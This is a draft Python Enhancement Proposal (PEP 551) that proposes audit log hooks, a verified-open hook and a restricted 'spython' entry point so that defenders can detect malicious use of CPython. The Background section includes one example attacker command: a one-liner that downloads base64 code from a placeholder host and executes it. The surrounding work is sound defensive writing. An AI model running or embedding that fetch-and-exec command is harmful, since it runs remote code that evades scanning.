564 lines
30 KiB
ReStructuredText
564 lines
30 KiB
ReStructuredText
|
PEP: 551
|
|||
|
Title: Security transparency in the Python runtime
|
|||
|
Version: $Revision$
|
|||
|
Last-Modified: $Date$
|
|||
|
Author: Steve Dower <steve.dower@python.org>
|
|||
|
Status: Draft
|
|||
|
Type: Standards Track
|
|||
|
Content-Type: text/x-rst
|
|||
|
Created: 23-Aug-2017
|
|||
|
Python-Version: 3.7
|
|||
|
Post-History:
|
|||
|
|
|||
|
Abstract
|
|||
|
========
|
|||
|
|
|||
|
This PEP describes additions to the Python API and specific behaviors for the
|
|||
|
CPython implementation that make actions taken by the Python runtime visible to
|
|||
|
security and auditing tools. The goals in order of increasing importance are to
|
|||
|
prevent malicious use of Python, to detect and report on malicious use, and most
|
|||
|
importantly to detect attempts to bypass detection. Most of the responsibility
|
|||
|
for implementation is required from users, who must customize and build Python
|
|||
|
for their own environment.
|
|||
|
|
|||
|
We propose two small sets of public APIs to enable users to reliably build their
|
|||
|
copy of Python without having to modify the core runtime, protecting future
|
|||
|
maintainability. We also discuss recommendations for users to help them develop
|
|||
|
and configure their copy of Python.
|
|||
|
|
|||
|
Background
|
|||
|
==========
|
|||
|
|
|||
|
Software vulnerabilities are generally seen as bugs that enable remote or
|
|||
|
elevated code execution. However, in our modern connected world, the more
|
|||
|
dangerous vulnerabilities are those that enable advanced persistent threats
|
|||
|
(APTs). APTs are achieved when an attacker is able to penetrate a network,
|
|||
|
establish their software on one or more machines, and over time extract data or
|
|||
|
intelligence. Some APTs may make themselves known by maliciously damaging data
|
|||
|
(e.g., `WannaCrypt <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/WannaCrypt>`_)
|
|||
|
or hardware (e.g., `Stuxnet <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Win32/Stuxnet>`_).
|
|||
|
Most attempt to hide their existence and avoid detection. APTs often use a
|
|||
|
combination of traditional vulnerabilities, social engineering, phishing (or
|
|||
|
spear-phishing), thorough network analysis, and an understanding of
|
|||
|
misconfigured environments to establish themselves and do their work.
|
|||
|
|
|||
|
The first infected machines may not be the final target and may not require
|
|||
|
special privileges. For example, an APT that is established as a
|
|||
|
non-administrative user on a developer’s machine may have the ability to spread
|
|||
|
to production machines through normal deployment channels. It is common for APTs
|
|||
|
to persist on as many machines as possible, with sheer weight of presence making
|
|||
|
them difficult to remove completely.
|
|||
|
|
|||
|
Whether an attacker is seeking to cause direct harm or hide their tracks, the
|
|||
|
biggest barrier to detection is a lack of insight. System administrators with
|
|||
|
large networks rely on distributed logs to understand what their machines are
|
|||
|
doing, but logs are often filtered to show only error conditions. APTs that are
|
|||
|
attempting to avoid detection will rarely generate errors or abnormal events.
|
|||
|
Reviewing normal operation logs involves a significant amount of effort, though
|
|||
|
work is underway by a number of companies to enable automatic anomaly detection
|
|||
|
within operational logs. The tools preferred by attackers are ones that are
|
|||
|
already installed on the target machines, since log messages from these tools
|
|||
|
are often expected and ignored in normal use.
|
|||
|
|
|||
|
At this point, we are not going to spend further time discussing the existence
|
|||
|
of APTs or methods and mitigations that do not apply to this PEP. For further
|
|||
|
information about the field, we recommend reading or watching the resources
|
|||
|
listed under `Further Reading`_.
|
|||
|
|
|||
|
Python is a particularly interesting tool for attackers due to its prevalence on
|
|||
|
server and developer machines, its ability to execute arbitrary code provided as
|
|||
|
data (as opposed to native binaries), and its complete lack of internal logging.
|
|||
|
This allows attackers to download, decrypt, and execute malicious code with a
|
|||
|
single command::
|
|||
|
|
|||
|
python -c "import urllib.request, base64; exec(base64.b64decode(urllib.request.urlopen('http://my-exploit/py.b64')).decode())"
|
|||
|
|
|||
|
This command currently bypasses most anti-malware scanners that rely on
|
|||
|
recognizable code being read through a network connection or being written to
|
|||
|
disk (base64 is often sufficient to bypass these checks). It also bypasses
|
|||
|
protections such as file access control lists or permissions (no file access
|
|||
|
occurs), approved application lists (assuming Python has been approved for other
|
|||
|
uses), and automated auditing or logging (assuming Python is allowed to access
|
|||
|
the internet or access another machine on the local network from which to obtain
|
|||
|
its payload).
|
|||
|
|
|||
|
General consensus among the security community is that totally preventing
|
|||
|
attacks is infeasible and defenders should assume that they will often detect
|
|||
|
attacks only after they have succeeded. This is known as the "assume breach"
|
|||
|
mindset. [1]_ In this scenario, protections such as sandboxing and input
|
|||
|
validation have already failed, and the important task is detection, tracking,
|
|||
|
and eventual removal of the malicious code. To this end, the primary feature
|
|||
|
required from Python is security transparency: the ability to see what
|
|||
|
operations the Python runtime is performing that may indicate anomalous or
|
|||
|
malicious use. Preventing such use is valuable, but secondary to the need to
|
|||
|
know that it is occurring.
|
|||
|
|
|||
|
To summarise the goals in order of increasing importance:
|
|||
|
|
|||
|
* preventing malicious use is valuable
|
|||
|
* detecting malicious use is important
|
|||
|
* detecting attempts to bypass detection is critical
|
|||
|
|
|||
|
One example of a scripting engine that has addressed these challenges is
|
|||
|
PowerShell, which has recently been enhanced towards similar goals of
|
|||
|
transparency and prevention. [2]_
|
|||
|
|
|||
|
Generally, application and system configuration will determine which events
|
|||
|
within a scripting engine are worth logging. However, given the value of many
|
|||
|
logs events are not recognized until after an attack is detected, it is
|
|||
|
important to capture as much as possible and filter views rather than filtering
|
|||
|
at the source (see the No Easy Breach video from above). Events that are always
|
|||
|
of interest include attempts to bypass event logging, attempts to load and
|
|||
|
execute code that is not correctly signed or access-controlled, use of uncommon
|
|||
|
operating system functionality such as debugging or inter-process inspection
|
|||
|
tools, most network access and DNS resolution, and attempts to create and hide
|
|||
|
files or configuration settings on the local machine.
|
|||
|
|
|||
|
To summarize, defenders have a need to audit specific uses of Python in order to
|
|||
|
detect abnormal or malicious usage. Currently, the Python runtime does not
|
|||
|
provide any ability to do this, which (anecdotally) has led to organizations
|
|||
|
switching to other languages. The aim of this PEP is to enable system
|
|||
|
administrators to deploy a security transparent copy of Python that can
|
|||
|
integrate with their existing auditing and protection systems.
|
|||
|
|
|||
|
On Windows, some specific features that may be enabled by this include:
|
|||
|
|
|||
|
* Script Block Logging [3]_
|
|||
|
* DeviceGuard [4]_
|
|||
|
* AMSI [5]_
|
|||
|
* Persistent Zone Identifiers [6]_
|
|||
|
* Event tracing (which includes event forwarding) [7]_
|
|||
|
|
|||
|
On Linux, some specific features that may be integrated are:
|
|||
|
|
|||
|
* gnupg [8]_
|
|||
|
* sd_journal [9]_
|
|||
|
* OpenBSM [10]_
|
|||
|
* syslog [11]_
|
|||
|
* check execute bit on imported modules
|
|||
|
|
|||
|
|
|||
|
On macOS, some features that may be used with the expanded APIs are:
|
|||
|
|
|||
|
* OpenBSM [10]_
|
|||
|
* syslog [11]_
|
|||
|
|
|||
|
Overall, the ability to enable these platform-specific features on production
|
|||
|
machines is highly appealing to system administrators and will make Python a
|
|||
|
more trustworthy dependency for application developers.
|
|||
|
|
|||
|
|
|||
|
Overview of Changes
|
|||
|
===================
|
|||
|
|
|||
|
True security transparency is not fully achievable by Python in isolation. The
|
|||
|
runtime can log as many events as it likes, but unless the logs are reviewed and
|
|||
|
analyzed there is no value. Python may impose restrictions in the name of
|
|||
|
security, but usability may suffer. Different platforms and environments will
|
|||
|
require different implementations of certain security features, and
|
|||
|
organizations with the resources to fully customize their runtime should be
|
|||
|
encouraged to do so.
|
|||
|
|
|||
|
The aim of these changes is to enable system administrators to integrate Python
|
|||
|
into their existing security systems, without dictating what those systems look
|
|||
|
like or how they should behave. We propose two API changes to enable this: an
|
|||
|
Event Log Hook and Verified Open Hook. Both are not set by default, and both
|
|||
|
require modifying the appropriate entry point to enable any functionality. For
|
|||
|
the purposes of validation and example, we propose a new spython/spython.exe
|
|||
|
entry point program that enables some basic functionality using these hooks.
|
|||
|
However, the expectation is that security-conscious organizations will create
|
|||
|
their own entry points to meet their needs.
|
|||
|
|
|||
|
Event Log Hook
|
|||
|
--------------
|
|||
|
|
|||
|
In order to achieve security transparency, an API is required to raise messages
|
|||
|
from within certain operations. These operations are typically deep within the
|
|||
|
Python runtime or standard library, such as dynamic code compilation, module
|
|||
|
imports, DNS resolution, or use of certain modules such as ``ctypes``.
|
|||
|
|
|||
|
The new APIs required for log hooks are::
|
|||
|
|
|||
|
# Add a logging hook
|
|||
|
sys.addloghook(hook: Callable[str, tuple]) -> None
|
|||
|
int PySys_AddLogHook(int (*hook)(const char *event, PyObject *args));
|
|||
|
|
|||
|
# Raise an event with all logging hooks
|
|||
|
sys.loghook(str, *args) -> None
|
|||
|
int PySys_LogHook(const char *event, PyObject *args);
|
|||
|
|
|||
|
# Internal API used during Py_Finalize() - not publicly accessible
|
|||
|
void _Py_ClearLogHooks(void);
|
|||
|
|
|||
|
Hooks are added by calling ``PySys_AddLogHook()`` from C at any time, including
|
|||
|
before ``Py_Initialize()``, or by calling ``sys.addloghook()`` from Python code.
|
|||
|
Hooks are never removed or replaced, and existing hooks have an opportunity to
|
|||
|
refuse to allow new hooks to be added (adding a logging hook is logged, and so
|
|||
|
preexisting hooks can raise an exception to block the new addition).
|
|||
|
|
|||
|
When events of interest are occurring, code can either call ``PySys_LogHook()``
|
|||
|
from C (while the GIL is held) or ``sys.loghook()``. The string argument is the
|
|||
|
name of the event, and the tuple contains arguments. A given event name should
|
|||
|
have a fixed schema for arguments, and both arguments are considered a public
|
|||
|
API (for a given x.y version of Python), and thus should only change between
|
|||
|
feature releases with updated documentation.
|
|||
|
|
|||
|
When an event is logged, each hook is called in the order it was added with the
|
|||
|
event name and tuple. If any hook returns with an exception set, later hooks are
|
|||
|
ignored and *in general* the Python runtime should terminate. This is
|
|||
|
intentional to allow hook implementations to decide how to respond to any
|
|||
|
particular event. The typical responses will be to log the event, abort the
|
|||
|
operation with an exception, or to immediately terminate the process with an
|
|||
|
operating system exit call.
|
|||
|
|
|||
|
When an event is logged but no hooks have been set, the ``loghook()`` function
|
|||
|
should include minimal overhead. Ideally, each argument is a reference to
|
|||
|
existing data rather than a value calculated just for the logging call.
|
|||
|
|
|||
|
As hooks may be Python objects, they need to be freed during ``Py_Finalize()``.
|
|||
|
To do this, we add an internal API ``_Py_ClearLogHooks()`` that releases any
|
|||
|
``PyObject*`` hooks that are held, as well as any heap memory used. This is an
|
|||
|
internal function with no public export, but it passes an event to all existing
|
|||
|
hooks to ensure that unexpected calls are logged.
|
|||
|
|
|||
|
See `Log Hook Locations`_ for proposed log hook points and schemas, and the
|
|||
|
`Recommendations`_ section for discussion on appropriate responses.
|
|||
|
|
|||
|
Verified Open Hook
|
|||
|
------------------
|
|||
|
|
|||
|
Most operating systems have a mechanism to distinguish between files that can be
|
|||
|
executed and those that can not. For example, this may be an execute bit in the
|
|||
|
permissions field, or a verified hash of the file contents to detect potential
|
|||
|
code tampering. These are an important security mechanism for preventing
|
|||
|
execution of data or code that is not approved for a given environment.
|
|||
|
Currently, Python has no way to integrate with these when launching scripts or
|
|||
|
importing modules.
|
|||
|
|
|||
|
The new public API for the verified open hook is::
|
|||
|
|
|||
|
# Set the handler
|
|||
|
int Py_SetOpenForExecuteHandler(PyObject *(*handler)(const char *narrow, const wchar_t *wide))
|
|||
|
|
|||
|
# Open a file using the handler
|
|||
|
os.open_for_exec(pathlike)
|
|||
|
|
|||
|
The ``os.open_for_exec()`` function is a drop-in replacement for
|
|||
|
``open(pathlike, 'rb')``. Its default behaviour is to open a file for raw,
|
|||
|
binary access - any more restrictive behaviour requires the use of a custom
|
|||
|
handler. (Aside: since ``importlib`` requires access to this function before the
|
|||
|
``os`` module has been imported, it will be available on the ``nt``/``posix``
|
|||
|
modules, but the intent is that other users will access it through the ``os``
|
|||
|
module.)
|
|||
|
|
|||
|
A custom handler may be set by calling ``Py_SetOpenForExecuteHandler()`` from C
|
|||
|
at any time, including before ``Py_Initialize()``. When ``open_for_exec()`` is
|
|||
|
called with a handler set, the handler will be passed the processed narrow or
|
|||
|
wide path, depending on platform, and its return value will be returned
|
|||
|
directly. The returned object should be an open file-like object that supports
|
|||
|
reading raw bytes. This is explicitly intended to allow a ``BytesIO`` instance
|
|||
|
if the open handler has already had to read the file into memory in order to
|
|||
|
perform whatever verification is necessary to determine whether the content is
|
|||
|
permitted to be executed.
|
|||
|
|
|||
|
Note that these handlers can import and call the ``_io.open()`` function on
|
|||
|
CPython without triggering themselves.
|
|||
|
|
|||
|
If the handler determines that the file is not suitable for execution, it should
|
|||
|
raise an exception of its choice, as well as performing any other logging or
|
|||
|
notifications.
|
|||
|
|
|||
|
All import and execution functionality involving code from a file will be
|
|||
|
changed to use ``open_for_exec()`` unconditionally. It is important to note that
|
|||
|
calls to ``compile()``, ``exec()`` and ``eval()`` do not go through this
|
|||
|
function - a log hook that includes the code from these calls will be added and
|
|||
|
is the best opportunity to validate code that is read from the file. Given the
|
|||
|
current decoupling between import and execution in Python, most imported code
|
|||
|
will go through both ``open_for_exec()`` and the log hook for ``compile``, and
|
|||
|
so care should be taken to avoid repeating verification steps.
|
|||
|
|
|||
|
API Availability
|
|||
|
----------------
|
|||
|
|
|||
|
While all the functions added here are considered public and stable API, the
|
|||
|
behavior of the functions is implementation specific. The descriptions here
|
|||
|
refer to the CPython implementation, and while other implementations should
|
|||
|
provide the functions, there is no requirement that they behave the same.
|
|||
|
|
|||
|
For example, ``sys.addloghook()`` and ``sys.loghook()`` should exist but may do
|
|||
|
nothing. This allows code to make calls to ``sys.loghook()`` without having to
|
|||
|
test for existence, but it should not assume that its call will have any effect.
|
|||
|
(Including existence tests in security-critical code allows another vector to
|
|||
|
bypass logging, so it is preferable that the function always exist.)
|
|||
|
|
|||
|
``os.open_for_exec()`` should at a minimum always return ``_io.open(pathlike,
|
|||
|
'rb')``. Code using the function should make no further assumptions about what
|
|||
|
may occur, and implementations other than CPython are not required to let
|
|||
|
developers override the behavior of this function with a hook.
|
|||
|
|
|||
|
|
|||
|
Log Hook Locations
|
|||
|
==================
|
|||
|
|
|||
|
Calls to ``sys.loghook()`` or ``PySys_LogHook()`` will be added to the following
|
|||
|
operations with the schema in Table 1. Unless otherwise specified, the ability
|
|||
|
for log hooks to abort any listed operation should be considered part of the
|
|||
|
rationale for including the hook.
|
|||
|
|
|||
|
.. csv-table:: Table 1: Log Hooks
|
|||
|
:header: "API Function", "Event Name", "Arguments", "Rationale"
|
|||
|
:widths: 2, 2, 3, 6
|
|||
|
|
|||
|
``PySys_AddLogHook``, ``sys.addloghook``, "", "Detect when new log hooks are
|
|||
|
being added."
|
|||
|
``_PySys_ClearLogHooks``, ``sys._clearloghooks``, "", "Notifies hooks they
|
|||
|
are being cleaned up, mainly in case the event is triggered unexpectedly.
|
|||
|
This event cannot be aborted."
|
|||
|
``Py_SetOpenForExecuteHandler``, ``setopenforexecutehandler``, "", "Detects
|
|||
|
any attempt to set the ``open_for_execute`` handler."
|
|||
|
"``compile``, ``exec``, ``eval``, ``PyAst_CompileString``", ``compile``, "
|
|||
|
``(code, filename_or_none)``", "Detect dynamic code compilation. Note that
|
|||
|
this will also be called for regular imports of source code, including those
|
|||
|
that used ``open_for_exec``."
|
|||
|
``import``, ``import``, "``(module, filename, sys.path, sys.meta_path,
|
|||
|
sys.path_hooks)``", "Detect when modules are imported. This is raised before
|
|||
|
the module name is resolved to a file. All arguments other than the module
|
|||
|
name may be ``None`` if they are not used or available."
|
|||
|
"``_ctypes.dlopen``, ``_ctypes.LoadLibrary``", ``ctypes.dlopen``, "
|
|||
|
``(module_or_path,)``", "Detect when native modules are used."
|
|||
|
``_ctypes._FuncPtr``, ``ctypes.dlsym``, "``(lib_object, name)``", "Collect
|
|||
|
information about specific symbols retrieved from native modules."
|
|||
|
``_ctypes._CData``, ``ctypes.cdata``, "``(ptr_as_int,)``", "Detect when code
|
|||
|
is accessing arbitrary memory using ``ctypes``"
|
|||
|
``id``, ``id``, "``(id_as_int,)``", "Detect when code is accessing the id of
|
|||
|
objects, which in CPython reveals information about memory layout."
|
|||
|
``sys._getframe``, ``sys._getframe``, "``(frame_object,)``", "Detect when
|
|||
|
code is accessing frames directly"
|
|||
|
``sys._current_frames``, ``sys._current_frames``, "", "Detect when code is
|
|||
|
accessing frames directly"
|
|||
|
``PyEval_SetProfile``, ``sys.setprofile``, "", "Detect when code is injecting
|
|||
|
trace functions. Because of the implementation, exceptions raised from the
|
|||
|
hook will abort the operation, but will not be raised in Python code. Note
|
|||
|
that ``threading.setprofile`` eventually calls this function, so the event
|
|||
|
will be logged for each thread."
|
|||
|
``PyEval_SetTrace``, ``sys.settrace``, "", "Detect when code is injecting
|
|||
|
trace functions. Because of the implementation, exceptions raised from the
|
|||
|
hook will abort the operation, but will not be raised in Python code. Note
|
|||
|
that ``threading.settrace`` eventually calls this function, so the event
|
|||
|
will be logged for each thread."
|
|||
|
``_PyEval_SetAsyncGenFirstiter``, ``sys.set_async_gen_firstiter``, "", "
|
|||
|
Detect changes to async generator hooks."
|
|||
|
``_PyEval_SetAsyncGenFinalizer``, ``sys.set_async_gen_finalizer``, "", "
|
|||
|
Detect changes to async generator hooks."
|
|||
|
``_PyEval_SetCoroutineWrapper``, ``sys.set_coroutine_wrapper``, "", "Detect
|
|||
|
changes to the coroutine wrapper."
|
|||
|
``Py_SetRecursionLimit``, ``sys.setrecursionlimit``, "``(new_limit,)``", "
|
|||
|
Detect changes to the recursion limit."
|
|||
|
``_PyEval_SetSwitchInterval``, ``sys.setswitchinterval``, "``(interval_us,)``
|
|||
|
", "Detect changes to the switching interval."
|
|||
|
"``socket.bind``, ``socket.connect``, ``socket.connect_ex``,
|
|||
|
``socket.sendmsg``, ``socket.sendto``", ``socket.address``, "``(address,)``
|
|||
|
", "Detect access to network resources. The address is unmodified from the
|
|||
|
original call."
|
|||
|
``socket.__init__``, "socket()", "``(family, type, proto)``", "Detect
|
|||
|
creation of sockets. The arguments will be int values."
|
|||
|
``socket.gethostname``, ``socket.gethostname``, "", "Detect attempts to
|
|||
|
retrieve the current host name."
|
|||
|
``socket.sethostname``, ``socket.sethostname``, "``(name,)``", "Detect
|
|||
|
attempts to change the current host name. The name argument is passed as a
|
|||
|
bytes object."
|
|||
|
"``socket.gethostbyname``, ``socket.gethostbyname_ex``", "
|
|||
|
``socket.gethostbyname``", "``(name,)``", "Detect host name resolution. The
|
|||
|
name argument is a str or bytes object."
|
|||
|
``socket.gethostbyaddr``, ``socket.gethostbyaddr``, "``(address,)``", "Detect
|
|||
|
host resolution. The address argument is a str or bytes object."
|
|||
|
``socket.getservbyname``, ``socket.getservbyname``, "``(name, protocol)``", "
|
|||
|
Detect service resolution. The arguments are str objects."
|
|||
|
``socket.getservbyport``, ``socket.getservbyport``, "``(port, protocol)``", "
|
|||
|
Detect service resolution. The port argument is an int and protocol is a
|
|||
|
str."
|
|||
|
|
|||
|
TODO - more hooks in ``_socket``, ``_ssl``, others?
|
|||
|
|
|||
|
|
|||
|
SPython Entry Point
|
|||
|
===================
|
|||
|
|
|||
|
A new entry point binary will be added, called ``spython.exe`` on Windows and
|
|||
|
``spythonX.Y`` on other platforms. This entry point is intended primarily as an
|
|||
|
example, as we expect most users of this functionality to implement their own
|
|||
|
entry point and hooks (see `Recommendations`_). It will also be used for tests.
|
|||
|
|
|||
|
Source builds will create ``spython`` by default, but distributors may choose
|
|||
|
whether to include ``spython`` in their pre-built packages. The python.org
|
|||
|
managed binary distributions will not include ``spython``.
|
|||
|
|
|||
|
**Do not accept most command-line arguments**
|
|||
|
|
|||
|
The ``spython`` entry point requires a script file be passed as the first
|
|||
|
argument, and does not allow any options. This prevents arbitrary code execution
|
|||
|
from in-memory data or non-script files (such as pickles, which can be executed
|
|||
|
using ``-m pickle <path>``.
|
|||
|
|
|||
|
Options ``-B`` (do not write bytecode), ``-E`` (ignore environment variables)
|
|||
|
and ``-s`` (no user site) are assumed.
|
|||
|
|
|||
|
If a file with the same full path as the process with a ``._pth`` suffix
|
|||
|
(``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it will be
|
|||
|
used to initialize ``sys.path`` following the rules currently described `for
|
|||
|
Windows <https://docs.python.org/3/using/windows.html#finding-modules>`_.
|
|||
|
|
|||
|
**Log security events to a file**
|
|||
|
|
|||
|
Before initialization, ``spython`` will set a log hook that writes events to a
|
|||
|
local file. By default, this file is the full path of the process with a
|
|||
|
``.log`` suffix, but may be overridden with the ``SPYTHONLOG`` environment
|
|||
|
variable (despite such overrides being explicitly discouraged in
|
|||
|
`Recommendations`_).
|
|||
|
|
|||
|
The log hook will also abort all ``addloghook`` events, preventing any other
|
|||
|
hooks from being added.
|
|||
|
|
|||
|
On Windows, code from ``compile`` events will submitted to AMSI [5]_ and if it
|
|||
|
fails to validate, the compile event will be aborted. This can be tested by
|
|||
|
calling ``compile()`` or ``eval()`` on the contents of the `EICAR test file
|
|||
|
<http://www.eicar.org/86-0-Intended-use.html>`_.
|
|||
|
|
|||
|
**Restrict importable modules**
|
|||
|
|
|||
|
Also before initialization, ``spython`` will set an open-for-execute hook that
|
|||
|
validates all files opened with ``os.open_for_exec``. This implementation will
|
|||
|
require all files to have a ``.py`` suffix (thereby blocking the use of cached
|
|||
|
bytecode), and will raise a custom log message ``spython.open_for_exec``
|
|||
|
containing ``(filename, True_if_allowed)``.
|
|||
|
|
|||
|
On Windows, the hook will also open the file with flags that prevent any other
|
|||
|
process from opening it with write access, which allows the hook to perform
|
|||
|
additional validation on the contents with confidence that it will not be
|
|||
|
modified between the check and use. Compilation will later trigger a ``compile``
|
|||
|
event, so there is no need to read the contents now for AMSI, but other
|
|||
|
validation mechanisms such as DeviceGuard [4]_ should be performed here.
|
|||
|
|
|||
|
|
|||
|
Performance Impact
|
|||
|
==================
|
|||
|
|
|||
|
**TODO**
|
|||
|
|
|||
|
Full impact analysis still requires investigation. Preliminary testing shows
|
|||
|
that calling ``sys.loghook`` with no hooks added does not significantly affect
|
|||
|
any existing benchmarks, though targeted microbenchmarks can observe an impact.
|
|||
|
|
|||
|
Performance impact using ``spython`` or with hooks added are not of interest
|
|||
|
here, since this is considered opt-in functionality.
|
|||
|
|
|||
|
|
|||
|
Recommendations
|
|||
|
===============
|
|||
|
|
|||
|
Specific recommendations are difficult to make, as the ideal configuration for any environment will depend on the user's ability to manage, monitor, and respond to activity on their own network. However, many of the proposals here do not appear to be of value without deeper illustration. This section provides recommendations using the terms **should** (or **should not**), indicating that we consider it dangerous to ignore the advice, and **may**, indicating that for the advice ought to be considered for high value systems. The term **sysadmins** refers to whoever is responsible for deploying Python throughout your network, though different organizations may have different titles for the relevant person.
|
|||
|
|
|||
|
Sysadmins **should** build their own entry point, likely starting from ``spython``, and directly interface with the security systems available in their environment. The more tightly integrated, the less likely a vulnerability will be found allowing an attacker to bypass those systems. In particular, the entry point **should not** obtain any settings from the current environment, such as environment variables, unless those settings are otherwise protected from modification.
|
|||
|
|
|||
|
The default ``python`` entry point **should not** be deployed to production machines, but could be given to developers to use and test Python on non-production machines. Sysadmins **may** consider deploying a less restrictive version of their entry point to developer machines, since any system connected to your network is a potential target.
|
|||
|
|
|||
|
Python deployments **should** be made read-only using any available platform functionality after deployment and during use.
|
|||
|
|
|||
|
On platforms that support it, sysadmins **should** include signatures for every file in a Python deployment, ideally verified using a private certificate. For example, Windows supports embedding signatures in executable files and using catalogs for others, and can use DeviceGuard [4]_ to validate signatures either automatically or using an ``open_for_exec`` hook.
|
|||
|
|
|||
|
Sysadmins **should** collect as many logged events as possible, and **should** copy them off of local machines frequently. Even if logs are not being constantly monitored for suspicious activity, once an attack is detected it is too late to enable logging. Log hooks **should not** attempt to preemptively filter events, as even benign events are useful when analyzing the progress of an attack. (Watch the "No Easy Breach" video under `Further Reading`_ for a deeper look at this side of things.)
|
|||
|
|
|||
|
Log hooks **should** write events to logs before attempting to abort. As discussed earlier, it is more important to record malicious actions than to prevent them. Very few actions should be aborted, as most will occur during normal use. Sysadmins **may** audit their Python code and abort operations that are known to never be used deliberately.
|
|||
|
|
|||
|
On production machines, the first log hook **should** be set in C code before ``Py_Initialize`` is called, and that hook **should** unconditionally abort the ``sys.addloghook`` event. The Python interface is mainly useful for testing.
|
|||
|
|
|||
|
On production machines, a non-validating ``open_for_exec`` hook **may** be set in C code before ``Py_Initialize`` is called. This prevents later code from overriding the hook, however, logging the ``setopenforexecutehandler`` event is useful since no code should ever need to call it. Using at least the sample ``open_for_exec`` hook implementation from ``spython`` is recommended.
|
|||
|
|
|||
|
[TODO: more good advice; less bad advice]
|
|||
|
|
|||
|
Further Reading
|
|||
|
===============
|
|||
|
|
|||
|
|
|||
|
**Redefining Malware: When Old Terms Pose New Threats**
|
|||
|
By Aviv Raff for SecurityWeek, 29th January 2014
|
|||
|
|
|||
|
This article, and those linked by it, are high-level summaries of the rise of
|
|||
|
APTs and the differences from "traditional" malware.
|
|||
|
|
|||
|
`<http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats>`_
|
|||
|
|
|||
|
**Anatomy of a Cyber Attack**
|
|||
|
By FireEye, accessed 23rd August 2017
|
|||
|
|
|||
|
A summary of the techniques used by APTs, and links to a number of relevant
|
|||
|
whitepapers.
|
|||
|
|
|||
|
`<https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html>`_
|
|||
|
|
|||
|
**Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection**
|
|||
|
By Aviv Raff for SecurityWeek, 8th May 2014
|
|||
|
|
|||
|
High-level summary of the value of detailed logging and automatic analysis.
|
|||
|
|
|||
|
`<http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection>`_
|
|||
|
|
|||
|
**No Easy Breach: Challenges and Lessons Learned from an Epic Investigation**
|
|||
|
Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016
|
|||
|
|
|||
|
Detailed walkthrough of the processes and tools used in detecting and removing
|
|||
|
an APT.
|
|||
|
|
|||
|
`<https://archive.org/details/No_Easy_Breach>`_
|
|||
|
|
|||
|
**Disrupting Nation State Hackers**
|
|||
|
Video presented by Rob Joyce for the NSA at USENIX Enigma 2016
|
|||
|
|
|||
|
Good security practices, capabilities and recommendations from the chief of
|
|||
|
NSA's Tailored Access Operation.
|
|||
|
|
|||
|
`<https://www.youtube.com/watch?v=bDJb8WOJYdA>`_
|
|||
|
|
|||
|
References
|
|||
|
==========
|
|||
|
|
|||
|
.. [1] Assume Breach Mindset, `<http://asian-power.com/node/11144>`_
|
|||
|
|
|||
|
.. [2] PowerShell Loves the Blue Team, also known as Scripting Security and
|
|||
|
Protection Advances in Windows 10, `<https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/>`_
|
|||
|
|
|||
|
.. [3] `<https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html>`_
|
|||
|
|
|||
|
.. [4] `<https://aka.ms/deviceguard>`_
|
|||
|
|
|||
|
.. [5] AMSI, `<https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx>`_
|
|||
|
|
|||
|
.. [6] Persistent Zone Identifiers, `<https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx>`_
|
|||
|
|
|||
|
.. [7] Event tracing, `<https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx>`_
|
|||
|
|
|||
|
.. [8] `<https://www.gnupg.org/>`_
|
|||
|
|
|||
|
.. [9] `<https://www.systutorials.com/docs/linux/man/3-sd_journal_send/>`_
|
|||
|
|
|||
|
.. [10] `<http://www.trustedbsd.org/openbsm.html>`_
|
|||
|
|
|||
|
.. [11] `<https://linux.die.net/man/3/syslog>`_
|
|||
|
|
|||
|
Acknowledgments
|
|||
|
===============
|
|||
|
|
|||
|
Thanks to all the people from Microsoft involved in helping make the Python
|
|||
|
runtime safer for production use, and especially to James Powell for doing much
|
|||
|
of the initial research, analysis and implementation, Lee Holmes for invaluable
|
|||
|
insights into the info-sec field and PowerShell's responses, and Brett Cannon
|
|||
|
for the grounding discussions.
|
|||
|
|
|||
|
Copyright
|
|||
|
=========
|
|||
|
|
|||
|
Copyright (c) 2017 by Microsoft Corporation. This material may be distributed
|
|||
|
only subject to the terms and conditions set forth in the Open Publication
|
|||
|
License, v1.0 or later (the latest version is presently available at
|
|||
|
http://www.opencontent.org/openpub/).
|